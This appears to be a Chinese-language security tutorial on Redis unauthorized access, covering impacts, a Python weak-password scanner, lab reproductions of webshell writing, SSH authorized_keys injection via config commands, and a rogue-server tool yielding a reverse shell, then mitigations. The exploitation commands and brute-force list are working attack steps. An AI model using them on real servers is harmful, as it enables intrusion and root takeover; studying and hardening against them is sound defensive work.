未授权危害
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall来清空所有数据;
攻击者可通过EVAL执行代码,或通过数据备份功能往磁盘写入后门文件;
最严重的情况,如果Redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;
未授权利用
利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
在redis以root权限运行时可以写crontab来执行命令反弹shell;
往web物理路径写webshell;
未授权访问测试
编写脚本
#! /usr/bin/env python# _*_ coding:utf-8 _*_import socketimport sysPASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']def check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("INFO\r\n")result = s.recv(1024)if "redis_version" in result:return u"未授权访问"elif "Authentication" in result:for pass_ in PASSWORD_DIC:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("AUTH %s\r\n" %(pass_))result = s.recv(1024)if '+OK' in result:return u"存在弱口令,密码:%s" % (pass_)except Exception, e:passif __name__ == '__main__':ip=sys.argv[1]port=sys.argv[2]print check(ip,port, timeout=10)
脚本运行结果

验证
从登录的结果可以看出该redis服务对公网开放,且未启用认证。

利用复现
利用redis写webshell
当redis权限不是root时,并开着web服务,在redis有web目录写权限时,可以尝试往web物理路径写webshell;存在ssrf漏洞的站点可以利用四个协议,分别是http、file、gopher(redis以root权限运行)、dict(一条一条的执行)协议。

使用浏览器访问redis-shell.php,验证是否写入成功:

利用公私钥认证获取root权限
执行mkdir /root/.ssh命令,创建ssh公钥存放目录;生成ssh公钥和私钥,密码设置为空:

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:(前后用\n换行,避免和Redis里其他缓存数据混合)
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
将1.txt写入redis:
cat 1.txt | redis-cli -h 192.168.114.128 -x set crack
登录靶机的redis服务,使用config get dir命令得到redis备份的路径:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

设置上传公钥的备份文件名字为authorized_keys:

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

在攻击机使用ssh免密登录主机A:ssh -i id_rsa root@192.168.114.128,成功登录:

自动化RCE脚本
github地址:
(https://github.com/n0b0dyCN/redis-rogue-server)

执行脚本:
python3 redis-rogue-server.py --rhost 192.168.21.130 --lhost 192.168.21.34
分为Interactive shell和 Reverse shell,输入选项i,运行whoami:

输入选项r,用nc监听返回的shell:

解决方案
1、比较安全的办法是采用redis.conf文件绑定IP的方式来进行控制:
# If you want you can bind a single interface, if the bind option is not# specified all the interfaces will listen for incoming connections.# bind 127.0.0.1
把# bind 127.0.0.1前面的注释#号去掉,把127.0.0.1改成你允许访问的ip地址,启动redis服务器的时候只能用: redis-server /etc/redis.conf,缺点为难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下:

报错如下:

这时候用授权命令进行授权,就可以访问redis了:

安全是一门朴素的学问,分享即进步!






